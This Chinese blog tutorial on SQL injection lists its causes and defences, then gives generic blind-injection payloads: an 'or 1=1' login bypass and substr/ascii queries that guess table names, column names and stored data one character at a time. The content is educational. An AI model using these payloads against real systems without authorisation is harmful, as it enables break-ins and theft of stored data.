安全测试之sql注入
不管是web界面还是app,都会涉及表单输入和提交,如果程序员没有对提交的字符进行过滤或者特殊处理,很容易会产生问题,这里讲的的sql注入就是其中一种方式,在表单中输入sql语句达到进入系统的目的。
sql注入的原理就是上面提到的通过构造特殊的输入作为参数传入web或者app
sql注入产生原因有几个原因:
1、不当的类型处理
2、不安全的数据库配置
3、不合理的查询处理
4、不当的错误处理
5、转义字符处理不合适
6、多个提交处理不当
sql注入防护
1、不要相信用户的输入,对任何输入都需要做校验(比如长度,正则,等)
2、不使用动态拼接sql
3、不使用管理员权限的数据库连接(每个用户单独设置权限)
4、机密信息不直接存放,可以加密或者不直接打印
5、异常信息尽可能使用内部错误码
sql注入方法
猜表名:
and (select count(*) from 表名) <>0
and exists (select * from 表名)
猜列名:
and (select count(列名) from 表名) <> 0
and exists (select 列名 from 表名)
一般用户名为user 密码为passwd/password
猜列名长度:
and (select length(列名) from 表名) = 2
绕过身份验证:
or 1=1
猜表的条数(一般用在判断账号个数):
and 0<(select count(*) from 表名)
and 1<(select count(*) from 表名)
猜字段第一个字符:
and 1=(select count(*) from 表名 where substr(列名,1,1)='a')
若返回正常,则可继续猜第二位
and 1=(select count(*) from 表名 where substr(列名,1,2)='ab')
通过asscii码猜字符:
and 1=(select count(*) from 表名 where ascii(substr(列名,1,1))='49')
安全测试之sql注入的更多相关文章
- web安全测试&渗透测试之sql注入~~
渗透测试概念: 详见百度百科 http://baike.baidu.com/link?url=T3avJhH3_MunEIk9fPzEX5hcSv2IqQlhAfokBzAG4M1CztQrSbwsR ...
- 【数据库】软件安全测试之SQL注入
这些年我们发现越来越多的公司开始注重安全测试了,为什么?因为安全测试可以在某种程度上可以排查掉你项目的一些安全漏洞,这样你的系统上线后才会相对安全,才有可能尽量避免来自外部的攻击.每一年互联网都会发生 ...
- 渗透测试之sql注入点查询
一切教程在于安全防范,不在于攻击别人黑别人系统为目的 寻找sql注入点方法: 拿到网页后进行查找注入点: 1.通过单引号 ' ; 在 url 后面输入单引号进行回车(如果报错可能存在sql注入为 ...
- 渗透测试之sql注入验证安全与攻击性能
由于渗透测试牵涉到安全性以及攻击性,为了便于交流分享,本人这里不进行具体网址的透露了. 我们可以在网上查找一些公司官方网站如(http://www.XXXXXX.com/xxxx?id=1) 1.拿到 ...
- WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)
对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...
- SQL注入攻防入门详解
=============安全性篇目录============== 本文转载 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机 ...
- WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案
对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...
- [转]SQL注入攻防入门详解
原文地址:http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html =============安全性篇目录============ ...
- 【转载】SQL注入攻防入门详解
滴答…滴答…的雨,欢迎大家光临我的博客. 学习是快乐的,教育是枯燥的. 博客园 首页 博问 闪存 联系 订阅 管理 随笔-58 评论-2028 文章-5 trackbacks-0 站长 ...
随机推荐
- vue版 文件下载
标签的download: 是HTML5标准新增的属性,作用是指示浏览器下载URL而不是导航到URL,因此将提示用户将其保存为本地文件. 这种是定义的接口不是下载文件的路径,而是通过API可以获得文件的 ...
- strncpy
char* mstrncpy(char *dest, const char *src, size_t n){ size_t i; size_t j=n-; ; i < j && ...
- javascript和c#aes加密方法互解
关键信息如下. javascript function Encrypt() { var key = CryptoJS.enc.Utf8.parse('8080808080808080'); var i ...
- springboot pom.xml记
本文包括: springboot 基本pom.xml配置 热部署 配置打包插件 maven pom.xml配置详解 1. springboot 基本pom.xml配置 <project xmln ...
- C#反编译笔记
碰到下面这种 public class DstBoneName : Enum { public int value__; ; } 还原为 public enum DstBoneName { cf_J_ ...
- 修改云主机windows密码不生效
Step1:使用文本工具打开插件路径: 路径为:C:\Program Files\Cloudbase Solutions\Cloudbase-Init\Python\Lib\site-packages ...
- 即时消息Toast和对话框
public static Toast makeText(Context context, CharSequence text, int duration) protected void onDest ...
- C++ boost.python折腾笔记
为了让当年研究生时写的图像处理系统重出江湖起到更大的作用,应研究生导师的意见,对原有的c++框架做了python扩展处理,为了避免遗忘,备注如下: 一.boost 编译 下载boost源码,这里使用b ...
- 当padding/margin的取值形式为百分比时。。。。。
一个基础却又容易混淆的css知识点:当margin/padding取形式为百分比的值时,无论是left/right,还是top/bottom,都是以父元素的width为参照物的!也许你会说,left/ ...
- Struts网站基于Filter的XSS漏洞修复
下面的代码只支持struts2框架中的xss漏洞 第一步,创建过滤器XssFilter : package com.ulic.ulcif.filter; import java.io.IOExcept ...